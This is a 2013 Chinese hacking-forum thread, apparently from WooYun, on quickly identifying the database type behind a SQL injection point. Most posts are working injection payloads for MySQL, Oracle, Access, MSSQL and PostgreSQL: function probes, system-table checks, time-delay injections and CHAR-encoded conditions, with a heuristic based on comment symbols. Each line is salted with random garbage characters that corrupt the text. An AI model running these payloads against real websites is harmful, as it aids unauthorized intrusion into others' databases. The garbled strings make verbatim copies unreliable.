一个注射点如何最快速确认是什么类型数据库' k+ v( f/ @( D9 ~, F+ w: e+ z- G: f, Z
xsser (十根阳具有长短!!) | 2013-02-05 12:36( @4 x { x2 }4 c% H$ M& X% v
假设这么一个注射点:: \+ B- |2 ~9 P- |1 o- M8 |6 C8 D' n
show.html?id=2* A' D% t' v7 [
mysql:id=2 and version()>0
' Z) g5 {' G: @5 K3 goracle:id=2 and '1'||'1'='11
% k+ l+ h$ b1 y8 v$ T1 y2 k% I其他的欢迎补充
* i7 R# I7 n- W6 X1#
6 g3 g* {4 {, O2 E0 \3 Qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47+ N0 _2 r; s* }1 g7 H# l3 H
Access:7 m( z- Y2 Q/ a/ D, z
aNd aSc(cHr(97))=97
6 D& s4 W, T( s/ V1 t! Wand exists(select id from MSysAccessObjects)
0 C2 g2 K9 B- v% M( KSQL Server:
% m3 Y2 A$ x. y( E( V' e o% x( l$ K1 fand exists(select id from sysobjects)
- {- L, Q0 T/ x5 C/ `/ |6 hand length(user)>0
' `9 X% T d' X) y7 PMySQL:
v2 A' Z% ] h0 G5 Q- e7 Sand length(user())>0
" y$ Q1 {8 X) O. f/ r2#2 w! q4 }. q1 \* c; P4 N
xsser (十根阳具有长短!!) | 2013-02-05 12:48, N# _8 I& C- s" a
@upload 如果这些都不是呢…
3 s* l4 L. I* k. ]6 u+ x1 t3#9 F3 s! h0 a- K# G; [
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
( ^$ n# v) z0 N* A8 F@xsser 不快速的,延时注入
, ?, a1 e2 k/ K9 j6 [0 x不知道这样写对不对* U4 [& p3 ^5 b% A
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
! K, w0 t C- V/ _mysql:id=2 and select benchmark(1e8,current_date());; c8 u, N5 J5 o6 @' a" t. F
4#. P- `* ~- z# c6 R" c6 Q# n f( c
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
! b% l1 ]% g, a" E0 D1 R最快的貌似是看报错信息# @. ?# y. ^# x! y. ^
oracle error# c3 g7 c- h; |- s, p" A
mssql error
! a8 f" ^5 S6 ?2 |mysql error# @! i/ [, C" c8 m( {$ P
5#+ Q& G# i" z/ N
Nimda (你们都是坏银~) | 2013-02-05 13:14
- M8 @ W) w6 V# A' Z小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
) |9 \1 b+ w$ Y; ]6 q: {/ j6#
3 K% C( a) I; j" w9 _upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
& @ K8 B6 l4 G: b1 \1 }“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:! [, h+ D Z2 c8 J3 N
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
5 X. Q5 q3 I- `) U“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
" W' I& N$ K Q" I5 R& d7#1 z+ w% }( U( ~0 P7 }3 T- D% F
_Evil (HackEnd) | 2013-02-05 13:33( @ d% Q" m' ?* J3 [- t3 i
PostgreSQL8 {# g d% F' w4 U. R- j/ Y
8#
, E0 [1 M9 E/ H3 Y1 W5 G5 C/ Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:426 m: ?; W8 [. T) D& m2 }3 T
切换编码 and 1=1, \# c' X/ d/ {4 E/ W
oracle:
& I" n" X5 `) ~: U. l- p4 x; U( @CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)0 O$ u- A; o; J; V
mssql:5 n$ c4 c7 B$ x3 W J! w6 D
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
; i, j- ^$ u: ?8 I) kmysql: [- s4 n! `3 d+ {: b
CHAR(97, 110, 100, 32, 49, 61, 49)
6 S+ M5 N. w8 M5 X9#
: V" T3 |" \1 i" Hxsser (十根阳具有长短!!) | 2013-02-05 14:316 Q6 H- s( g1 `
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
6 Q6 \* i2 g, I+ _. M( H10#
3 F# p7 T+ z kupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
/ o7 ]2 P4 c* X9 J, k@xsser 是奇葩数据库类型的么?7 A( y$ K [; K$ E" |
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:# Q$ }5 [' L- X3 H2 `1 r
1.是否可以使用特定的函数来判断,该数据库特有的; |4 }8 B7 t9 V8 V1 f2 u1 v
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
: X! q! J9 U1 L! Y3.是否可以编码查询% w6 A7 u" h# N0 n* l9 Z
4.是否显可以利用错信息
' U% p5 `; [ M7 M( u5.是否存在数据库某些特性辅助判断9 R9 ?+ B: r8 E! Q
个人见解
W- W( n& F8 ?, ^11#
. k5 n1 U$ p5 w0 }/ j7 a7 D5 n小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55' a/ q1 [, J0 n5 D: m
已收藏,mssql可以直接看到错误提示的吧~! b6 O6 s9 {9 ^* D5 B* \9 g
12#/ w) O: T" O2 y
Passer_by | 2013-02-05 15:09
& o Y! Q/ L$ `3 @5 Z" J曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。% E! [% u9 z+ I! T" w
from:http://zone.wooyun.org/content/260 |